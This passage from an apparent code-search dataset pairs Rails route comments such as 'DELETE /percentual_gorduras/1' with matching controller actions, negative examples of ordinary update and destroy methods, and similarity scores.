|format|\n if @gestacao.update(gestacao_params)\n format.html { redirect_to @gestacao, notice: 'Gestacao was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @gestacao.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @sugerencia = Sugerencia.find(params[:id])\n\n respond_to do |format|\n if @sugerencia.update_attributes(params[:sugerencia])\n format.html { redirect_to @sugerencia, :notice => 'Sugerencia was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @sugerencia.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @repuesto.update(repuesto_params)\n format.html { redirect_to @repuesto, notice: 'Repuesto was successfully updated.' }\n format.json { render :show, status: :ok, location: @repuesto }\n else\n format.html { render :edit }\n format.json { render json: @repuesto.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n\t\tauthorize! :update, HistorialEstadoPresupuesto\n respond_to do |format|\n if @historial_estado_presupuesto.update(historial_estado_presupuesto_params)\n format.html { redirect_to @historial_estado_presupuesto, notice: 'Historial estado presupuesto fue actualizado satisfactoriamente.' }\n format.json { render :show, status: :ok, location: @historial_estado_presupuesto }\n else\n format.html { render :edit }\n format.json { render json: @historial_estado_presupuesto.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @puntaje = Puntaje.find(params[:id])\n\n respond_to do |format|\n if @puntaje.update_attributes(params[:puntaje])\n format.html { redirect_to @puntaje, notice: 'Puntaje was successfully updated.' }\n format.json { head :no_content }\n else\n atributos\n format.html { render action: \"edit\" }\n format.json { render json: @puntaje.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @gosok.update(gosok_params)\n format.html { redirect_to gosoks_url, notice: 'Gosok was successfully updated.' }\n format.json { render :show, status: :ok, location: @gosok }\n else\n format.html { render :edit }\n format.json { render json: @gosok.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @caracteristica_propiedad.update(caracteristica_propiedad_params)\n format.html { redirect_to @caracteristica_propiedad, notice: 'Caracteristica propiedad was successfully updated.' }\n format.json { render :show, status: :ok, location: @caracteristica_propiedad }\n else\n format.html { render :edit }\n format.json { render json: @caracteristica_propiedad.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @tipoocorrencium.update(tipoocorrencium_params)\n format.html { redirect_to @tipoocorrencium, notice: 'Tipoocorrencium was successfully updated.' }\n format.json { render :show, status: :ok, location: @tipoocorrencium }\n else\n format.html { render :edit }\n format.json { render json: @tipoocorrencium.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @horario_entrega.update(horario_entrega_params)\n format.html { redirect_to @horario_entrega, notice: 'Horario entrega was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @horario_entrega.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @needed_good = NeededGood.find(params[:id])\n\n respond_to do |format|\n if @needed_good.update_attributes(params[:needed_good])\n format.html { redirect_to @needed_good, notice: 'Good was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @needed_good.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @plate = Plate.find(params[:id])\n\n if @plate.update(params[:plate])\n head :no_content\n else\n render json: @plate.errors, status: :unprocessable_entity\n end\n end", "def update\n @tipo_convenio = TipoConvenio.find(params[:id])\n\n respond_to do |format|\n if @tipo_convenio.update_attributes(params[:tipo_convenio])\n format.html { redirect_to @tipo_convenio, notice: 'Tipo convenio was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @tipo_convenio.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @personal_rubro.update(personal_rubro_params)\n format.html { redirect_to @personal_rubro, notice: 'Personal rubro was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @personal_rubro.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\r\n respond_to do |format|\r\n if @usuario_gusto.update(usuario_gusto_params)\r\n format.html { redirect_to @usuario_gusto, notice: 'Usuario gusto was successfully updated.' }\r\n format.json { head :no_content }\r\n else\r\n format.html { render action: 'edit' }\r\n format.json { render json: @usuario_gusto.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end", "def update\n respond_to do |format|\n if @plate.update(plate_params)\n format.html { redirect_to [@client, @budget, @mobile], notice: 'Chapa atualizada com sucesso.' }\n format.json { render :show, status: :ok, location: @plate }\n else\n format.html { render :edit }\n format.json { render json: @plate.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @red.update(red_params)\n format.html { redirect_to @red, notice: \"La red #{@red.nombre} ha sido actualizada.\" }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @red.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @colegio = Colegio.find(params[:id])\n\n respond_to do |format|\n if @colegio.update_attributes(params[:colegio])\n format.html { redirect_to @colegio, notice: 'El Colegio fue actualizado satisfactoriamente.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @colegio.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @formatoventum = Formatoventum.find(params[:id])\n@mixboton = \"Actualizar \"\n respond_to do |format|\n if @formatoventum.update_attributes(params[:formatoventum])\n format.html { redirect_to @formatoventum, notice: 'Formatoventum was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @formatoventum.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @servico_pacote.update(servico_pacote_params)\n format.html { redirect_to @servico_pacote, notice: 'Pacote was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @servico_pacote.errors, status: :unprocessable_entity }\n end\n end\n end", "def patch\n headers = {\"If-Match\" => @version}\n response = @context.request :patch, \"#{@path}/#{@id}\", @data.to_json, headers\n @version += 1\n response\n # 'X-HTTP-Method-Override' => 'PATCH'\n end" ]
[ "0.6449922", "0.6418719", "0.6373279", "0.63250875", "0.6314283", "0.6263335", "0.6250542", "0.62065995", "0.6191897", "0.61912084", "0.6182195", "0.61621815", "0.61554587", "0.61468124", "0.613154", "0.6119767", "0.61173636", "0.61115474", "0.6108085", "0.6104613", "0.61012876", "0.6101011", "0.61007756", "0.60920453", "0.60827786", "0.60764396", "0.6073161", "0.6072006", "0.606688", "0.6056365", "0.6055665", "0.6055585", "0.6052711", "0.6048238", "0.6047002", "0.6046661", "0.60460985", "0.60426676", "0.6040804", "0.60401756", "0.603569", "0.60343456", "0.6029228", "0.6028178", "0.6021771", "0.6017999", "0.6015368", "0.60110134", "0.6008509", "0.6008509", "0.60076106", "0.6005441", "0.60017216", "0.60005045", "0.59993964", "0.59979564", "0.5997355", "0.5997045", "0.5996374", "0.5996055", "0.5995839", "0.59927726", "0.59923065", "0.5986845", "0.59868085", "0.5982928", "0.59811556", "0.59782815", "0.5976781", "0.5973788", "0.59734774", "0.5967958", "0.5967262", "0.59661716", "0.59650743", "0.59643364", "0.59640384", "0.59616005", "0.5960398", "0.5959331", "0.5959063", "0.5956431", "0.59557676", "0.5955643", "0.5955384", "0.5952992", "0.5948795", "0.59461534", "0.5943925", "0.5942298", "0.59406155", "0.59404224", "0.5935849", "0.59352416", "0.59313595", "0.5931274", "0.5931159", "0.5930928", "0.5928338", "0.5927445" ]
0.7079142
0
DELETE /percentual_gorduras/1 DELETE /percentual_gorduras/1.json
def destroy @percentual_gordura.destroy respond_to do |format| format.html { redirect_to percentual_gorduras_url } format.json { head :no_content } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def destroy\n @asignatura.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end", "def destroy\n @gran_unidad.destroy\n respond_to do |format|\n format.html { redirect_to gran_unidad_index_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @agronomiaquimica = Agronomiaquimica.find(params[:id])\n @agronomiaquimica.destroy\n\n respond_to do |format|\n format.html { redirect_to agronomiaquimicas_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @respuesta = Respuesta.find(params[:id])\n @respuesta.destroy\n\n respond_to do |format|\n format.html { redirect_to respuestas_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @asignatura = Asignatura.find(params[:id])\n @asignatura.destroy\n\n respond_to do |format|\n format.html { redirect_to asignaturas_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @asignatura = Asignatura.find(params[:id])\n @asignatura.destroy\n\n respond_to do |format|\n format.html { redirect_to asignaturas_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @alumno.destroy\n respond_to do |format|\n format.html { redirect_to grupos_path }\n format.json { head :no_content }\n end\n end", "def destroy\n @seguidore = Seguidore.find(params[:id])\n @seguidore.destroy\n\n respond_to do |format|\n format.html { redirect_to seguidores_url }\n format.json { head :ok }\n end\n end", "def destroy\n @prueba_json.destroy\n respond_to do |format|\n format.html { redirect_to prueba_jsons_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @exura = Exura.find(params[:id])\n @exura.destroy\n\n respond_to do |format|\n format.html { redirect_to exuras_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @repuestum = Repuestum.find(params[:id])\n @repuestum.destroy\n\n respond_to do |format|\n format.html { redirect_to repuesta_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @humanidades1 = Humanidades1.find(params[:id])\n @humanidades1.destroy\n\n respond_to do |format|\n format.html { redirect_to humanidades1s_url }\n format.json { head :no_content }\n end\n end", "def delete(path)\n RestClient.delete request_base+path\n end", "def destroy\n @reconocimiento = Reconocimiento.find(params[:id])\n @reconocimiento.destroy\n\n respond_to do |format|\n format.html { redirect_to reconocimientos_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @datosgenerale.destroy\n respond_to do |format|\n format.html { redirect_to datosgenerales_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @respuesta = Respuesta.find(params[:id])\n @respuesta.destroy\n\n head :no_content\n end", "def destroy\n @gatineo.destroy\n respond_to do |format|\n format.html { redirect_to gatineos_url, notice: 'Gatineo apagado com sucesso!' }\n format.json { head :no_content }\n end\n end", "def delete_tenant_circle(args = {}) \n delete(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend", "def destroy\n @gpath = Gpath.find(params[:id])\n @gpath.destroy\n\n respond_to do |format|\n format.html { redirect_to gpaths_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @percentage.destroy\n respond_to do |format|\n format.html { redirect_to percentages_url, notice: 'Percentage was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @competency_pertenece_asignatura = CompetencyPerteneceAsignatura.find(params[:id])\n @competency_pertenece_asignatura.destroy\n\n respond_to do |format|\n format.html { redirect_to competency_pertenece_asignaturas_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @datos_insumos_reactivo.destroy\n respond_to do |format|\n format.html { redirect_to datos_insumos_reactivos_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @seguro = Seguro.find(params[:id])\n @seguro.destroy\n\n respond_to do |format|\n format.html { redirect_to seguros_url }\n format.json { head :no_content }\n end\n end", "def delete_json(path)\n url = [base_url, path].join\n resp = HTTParty.delete(url, headers: standard_headers)\n parse_json(url, resp)\n end", "def destroy\n @retroalimentacion = Retroalimentacion.find(params[:id])\n @retroalimentacion.destroy\n\n respond_to do |format|\n format.html { redirect_to retroalimentacions_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @nguoi_dung = NguoiDung.find(params[:id])\n @nguoi_dung.destroy\n\n respond_to do |format|\n format.html { redirect_to nguoi_dungs_url }\n format.json { head :ok }\n end\n end", "def destroy\n @preguntum = Preguntum.find(params[:id])\n @preguntum.destroy\n\n respond_to do |format|\n format.html { redirect_to pregunta_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @sugerencia = Sugerencia.find(params[:id])\n @sugerencia.destroy\n\n respond_to do |format|\n format.html { redirect_to sugerencias_url }\n format.json { head :ok }\n end\n end", "def destroy\n @trein_consul_comercial.destroy\n respond_to do |format|\n format.html { redirect_to trein_consul_comercials_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @ocorrencium.destroy\n respond_to do |format|\n format.html { redirect_to ocorrencia_url, notice: 'Registro excluído com sucesso.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @ginasio = Ginasio.find(params[:id])\n @ginasio.destroy\n\n respond_to do |format|\n format.html { redirect_to ginasios_url, :flash => { :notice => 'Ginasio apagado.' } }\n format.json { head :ok }\n end\n end", "def delete\n client.delete(\"/#{id}\")\n end", "def destroy\n @sivic_discipulo.destroy\n respond_to do |format|\n format.html { redirect_to sivic_discipulos_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @unidad.destroy\n respond_to do |format|\n format.html { redirect_to unidades_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @uchronia = Uchronia.find(params[:id])\n @uchronia.destroy\n\n respond_to do |format|\n format.html { redirect_to uchronias_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @familium = Familium.find(params[:id])\n @familium.destroy\n\n respond_to do |format|\n format.html { redirect_to familia_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @giang_vien = GiangVien.find(params[:id])\n @giang_vien.destroy\n\n respond_to do |format| \n format.json { head :no_content }\n end\n end", "def destroy\n @unidade_metrica = UnidadeMetrica.find(params[:id])\n @unidade_metrica.destroy\n\n respond_to do |format|\n format.html { redirect_to unidade_metricas_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @respuestum.destroy\n respond_to do |format|\n format.html { redirect_to comentarios_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @regraponto.destroy\n respond_to do |format|\n format.html { redirect_to regrapontos_url, notice: 'Regraponto was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @giro_comercial.destroy\n respond_to do |format|\n format.html { redirect_to giro_comercials_url, notice: 'Giro comercial fue exitosamente destruido.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @votaciones_hist.destroy\n respond_to do |format|\n format.html { redirect_to votaciones_hists_url, notice: 'Votaciones hist was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @gastos_balanceado.destroy\n respond_to do |format|\n format.html { redirect_to gastos_balanceados_url, notice: 'Gastos balanceado was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @donante.destroy\n respond_to do |format|\n format.html { redirect_to donantes_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @tipo_convenio = TipoConvenio.find(params[:id])\n @tipo_convenio.destroy\n\n respond_to do |format|\n format.html { redirect_to tipo_convenios_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @detalle = Detalle.find(params[:id])\n @detalle.destroy\n\n respond_to do |format|\n format.html { redirect_to detalles_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @galinha.destroy\n respond_to do |format|\n format.html { redirect_to galinhas_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @aliquotum = Aliquotum.find(params[:id])\n @aliquotum.destroy\n\n respond_to do |format|\n format.html { redirect_to aliquota_url }\n format.json { head :no_content }\n end\n end", "def delete path\n make_request(path, \"delete\", {})\n end", "def destroy\r\n checar_egresso_super\r\n @egresso.destroy\r\n respond_to do |format|\r\n format.html { redirect_to egressos_url, notice: 'Egresso excluído com sucesso.' }\r\n format.json { head :no_content }\r\n end\r\n end", "def destroy\n @gasto = Gasto.find(params[:id])\n @gasto.destroy\n\n respond_to do |format|\n format.html { redirect_to gastos_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @historial = Historial.find(params[:id])\n @historial.destroy\n\n respond_to do |format|\n format.html { redirect_to historials_url }\n format.json { head :ok }\n end\n end", "def destroy\n @colegio = Colegio.find(params[:id])\n @colegio.destroy\n\n respond_to do |format|\n format.html { redirect_to colegios_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @veiculo = Veiculo.find(params[:id])\n @veiculo.destroy\n\n respond_to do |format|\n format.html { redirect_to veiculos_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @three60.destroy\n respond_to do |format|\n format.html { redirect_to edit_admin_good_url(@good, anchor: \"three60\") }\n format.json { head :no_content }\n end\n end", "def destroy\n @gauge = Gauge.find(params[:id])\n @gauge.destroy\n\n respond_to do |format|\n format.html { redirect_to gauges_url }\n format.json { head :no_content }\n end\n end", "def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end", "def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end", "def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end", "def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end", "def destroy\n @visitante.destroy\n respond_to do |format|\n format.html { redirect_to visitantes_url, notice: 'Visitante was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @gastronomium.destroy\n respond_to do |format|\n format.html { redirect_to gastronomia_url, notice: 'Gastronomium was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @objeto.destroy\n respond_to do |format|\n format.html { redirect_to referencia_bases_url, notice: \"Referencia base was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end", "def destroy\n @capitulo.destroy\n respond_to do |format|\n format.html { redirect_to capitulos_url, notice: 'Capitulo was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @tipo_pensum = TipoPensum.find(params[:id])\n @tipo_pensum.destroy\n\n respond_to do |format|\n format.html { redirect_to tipo_pensums_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @denuncia_tipo = DenunciaTipo.find(params[:id])\n @denuncia_tipo.destroy\n\n respond_to do |format|\n format.html { redirect_to denuncia_tipos_url }\n format.json { head :no_content }\n end\n end", "def delete\n render :json => @fiestas.delete_at(params[:id].to_i)\n end", "def destroy\n @substancia.destroy\n respond_to do |format|\n format.html { redirect_to substancias_url, notice: 'Substancia was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @gato.destroy\n respond_to do |format|\n format.html { redirect_to gatos_url, notice: 'Gato eliminado.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @factura = Factura.find(params[:factura_id])\n @renglon_factura = @factura.renglon_facturas.find(params[:id]).destroy\n\n respond_to do |format|\n format.html { head :ok }\n #format.json { head :ok }\n end\n end", "def destroy\n @smp_referenz.destroy\n respond_to do |format|\n format.html { redirect_to smp_referenzs_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @suplente = Suplente.find(params[:id])\n @suplente.destroy\n\n respond_to do |format|\n format.html { redirect_to suplentes_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @sezione = Sezione.find(params[:id])\n @sezione.destroy\n\n respond_to do |format|\n format.html { redirect_to sezioni_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @kota_stone.destroy\n respond_to do |format|\n format.html { redirect_to kota_stones_url }\n format.json { head :no_content }\n end\n end", "def destroy\n padre=@familia.padre_id\n @familia.destroy\n respond_to do |format|\n format.html { redirect_to familias_url(:id => padre) }\n format.json { head :no_content }\n end\n end", "def destroy\n @uginuce.sheep.update status:'na farmi'\n @uginuce.destroy\n respond_to do |format|\n format.html { redirect_to uginuces_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @requerimiento = Requerimiento.find(params[:id])\n @requerimiento.destroy\n\n respond_to do |format|\n format.html { redirect_to requerimientos_url }\n format.json { head :ok }\n end\n end", "def destroy\n @dato = Dato.find(params[:id])\n @dato.destroy\n\n respond_to do |format|\n format.html { redirect_to datos_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @gatha.destroy\n respond_to do |format|\n format.html { redirect_to gathas_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @ocorrencia.destroy\n respond_to do |format|\n format.html { redirect_to ocorrencias_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @estado_despacho.destroy\n respond_to do |format|\n format.html { redirect_to estado_despachos_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @diemtrentuyen = Diemtrentuyen.find(params[:id])\n @diemtrentuyen.destroy\n\n respond_to do |format|\n format.html { redirect_to diemtrentuyens_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @especialidad.destroy\n respond_to do |format|\n format.html { redirect_to especialidads_url, notice: 'Servicio eliminado exitosamente.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @humanidades3 = Humanidades3.find(params[:id])\n @humanidades3.destroy\n\n respond_to do |format|\n format.html { redirect_to humanidades3s_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @tipo_distribucion.destroy\n respond_to do |format|\n format.html { redirect_to tipos_distribuciones_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @capacidad = Capacidad.find(params[:id])\n @capacidad.destroy\n\n respond_to do |format|\n format.html { redirect_to capacidades_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @notificaciones_admin_actualouse = NotificacionesAdminActualouse.find(params[:id])\n @notificaciones_admin_actualouse.destroy\n\n respond_to do |format|\n format.html { redirect_to :back }\n format.json { head :ok }\n end\n end", "def destroy\n @estatuto = Estatuto.find(params[:id])\n @estatuto.destroy\n\n respond_to do |format|\n format.html { redirect_to estatutos_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @cantante.destroy\n respond_to do |format|\n format.html { redirect_to cantantes_url, notice: 'Cantante was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @asiento = Asiento.find(params[:id])\n @asiento.destroy\n\n respond_to do |format|\n format.html { redirect_to asientos_url }\n format.json { head :ok }\n end\n end", "def destroy\n @tipo_unidad.destroy\n respond_to do |format|\n format.html { redirect_to tipo_unidades_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @dfactura.destroy\n respond_to do |format|\n format.html { redirect_to dfacturas_url, notice: 'Detalle de factura eliminado con éxito.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @centro_costo.destroy\n respond_to do |format|\n format.html { redirect_to centro_costos_url, notice: 'Centro de Costo eliminado' }\n format.json { head :no_content }\n end\n end", "def destroy\n @dataload_ga = DataloadGa.find(params[:id])\n @dataload_ga.destroy\n\n respond_to do |format|\n format.html { redirect_to dataload_gas_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @agencium.destroy\n respond_to do |format|\n format.html { redirect_to agencia_url, notice: 'Agencium was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @grade_horario.destroy\n respond_to do |format|\n format.html { redirect_to grade_horarios_url, notice: 'Grade horario was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @visitante_credenciado = VisitanteCredenciado.find(params[:id])\n @visitante_credenciado.destroy\n\n respond_to do |format|\n format.html { redirect_to visitante_credenciados_url }\n format.json { head :no_content }\n end\n \n end", "def destroy\n @economia4 = Economia4.find(params[:id])\n @economia4.destroy\n\n respond_to do |format|\n format.html { redirect_to economia4s_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @healthpro.destroy\n respond_to do |format|\n format.html { redirect_to root_path }\n format.json { head :no_content }\n end\n end", "def destroy\n @core_status_unidade_carga = Core::StatusUnidadeCarga.find(params[:id])\n @core_status_unidade_carga.destroy\n\n respond_to do |format|\n format.html { redirect_to core_status_unidade_cargas_url }\n format.json { head :no_content }\n end\n end" ]
[ "0.70852894", "0.6984501", "0.6965684", "0.6944373", "0.6895366", "0.6895366", "0.6893692", "0.6875281", "0.68725795", "0.68618196", "0.682656", "0.6819026", "0.68109673", "0.6802638", "0.6800843", "0.67951196", "0.67933226", "0.67906606", "0.6790544", "0.6779892", "0.6776726", "0.67694527", "0.6768958", "0.67626613", "0.6761018", "0.67602855", "0.67573005", "0.67566824", "0.6753619", "0.6748305", "0.6745925", "0.6744945", "0.67417383", "0.6741011", "0.67373675", "0.67328095", "0.6729101", "0.67286235", "0.672245", "0.6718789", "0.6712801", "0.67108303", "0.6709322", "0.67093116", "0.6709299", "0.6708846", "0.66916406", "0.66821504", "0.66783875", "0.66780406", "0.66738826", "0.667153", "0.6670633", "0.6668637", "0.6668608", "0.66645235", "0.666409", "0.666409", "0.666409", "0.666409", "0.6658086", "0.6656316", "0.6654259", "0.6653846", "0.66531897", "0.66529894", "0.6651943", "0.664629", "0.66443497", "0.6642653", "0.66409045", "0.6640017", "0.6639662", "0.66381615", "0.6637532", "0.66360915", "0.66346306", "0.6634363", "0.66338706", "0.6633454", "0.6633228", "0.66308236", "0.66307485", "0.66280764", "0.66275465", "0.6624316", "0.66242224", "0.66232103", "0.66228604", "0.6621268", "0.6619044", "0.6617314", "0.66173005", "0.6616811", "0.6613715", "0.661339", "0.66132236", "0.661256", "0.661012", "0.66080093" ]
0.76227844
0
Use callbacks to share common setup or constraints between actions.
def set_percentual_gordura @percentual_gordura = PercentualGordura.find(params[:id]) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def set_required_actions\n # TODO: check what fields change to asign required fields\n end", "def action_hook; end", "def run_actions; end", "def define_action_hook; end", "def actions; end", "def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end", "def add_actions; end", "def callbacks; end", "def callbacks; end", "def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end", "def define_action_helpers; end", "def post_setup\n end", "def action_methods; end", "def action_methods; end", "def action_methods; end", "def before_setup; end", "def action_run\n end", "def execute(setup)\n @action.call(setup)\n end", "def define_action_helpers?; end", "def set_actions\n actions :all\n end", "def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end", "def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end", "def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end", "def setup_handler\n end", "def before_actions(*logic)\n self.before_actions = logic\n end", "def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end", "def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end", "def action; end", "def action; end", "def action; end", "def action; end", "def action; end", "def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end", "def workflow\n end", "def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end", "def before(action)\n invoke_callbacks *self.class.send(action).before\n end", "def process_action(...)\n send_action(...)\n end", "def before_dispatch(env); end", "def setup\n # override and do something appropriate\n end", "def after_actions(*logic)\n self.after_actions = logic\n end", "def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end", "def setup(_context)\n end", "def setup(resources) ; end", "def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end", "def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end", "def determine_valid_action\n\n end", "def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end", "def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end", "def startcompany(action)\n @done = true\n action.setup\n end", "def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end", "def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end", "def define_tasks\n define_weave_task\n connect_common_tasks\n end", "def setup(&block)\n define_method(:setup, &block)\n end", "def setup\n transition_to(:setup)\n end", "def setup\n transition_to(:setup)\n end", "def action\n end", "def setup( 